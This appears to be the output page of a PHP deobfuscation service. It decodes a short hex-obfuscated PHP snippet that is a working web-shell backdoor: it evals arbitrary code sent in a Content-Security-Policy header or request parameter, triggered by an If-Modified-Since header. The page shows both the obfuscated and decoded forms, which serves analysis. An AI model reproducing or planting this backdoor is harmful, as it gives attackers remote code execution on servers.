Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $_HEADERS = getallheaders(); if (isset($_HEADERS['If-Modified-Since'])) { $c =..

Decoded Output download

<?php
$_HEADERS = getallheaders(); 
if (isset($_HEADERS['If-Modified-Since'])) { 
    $c = "<?php @eval($_HEADERS["Content-Security-Policy"]);@eval($_REQUEST[\"Content-Security-Policy\"]);"; 
    $f = '.'.time(); 
    file_put_contents($f, $c); 
    include($f); 
    unlink($f); 
} ?>

Did this file decode correctly?

Original Code

<?php
$_HEADERS = getallheaders();
if (isset($_HEADERS['If-Modified-Since'])) {
    $c = "<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x48E\x41\x44E\x52\x53[\x22\x43o\x6e\x74e\x6e\x74-\x53\x65c\x75\x72i\x74\x79-\x50\x6fl\x69\x63y\x22\x5d)\x3b\x40e\x76\x61l\x28\x24_\x52\x45Q\x55\x45S\x54\x5b\"\x43\x6fn\x74\x65n\x74\x2dS\x65\x63u\x72\x69t\x79\x2dP\x6f\x6ci\x63\x79\"\x5d\x29;";
    $f = '.'.time();
    file_put_contents($f, $c);
    include($f);
    unlink($f);
}

Function Calls

getallheaders 1

Variables

None

Stats

MD5 9e4f306230eb4e940710dc81a13f8ee2
Eval Count 0
Decode Time 94 ms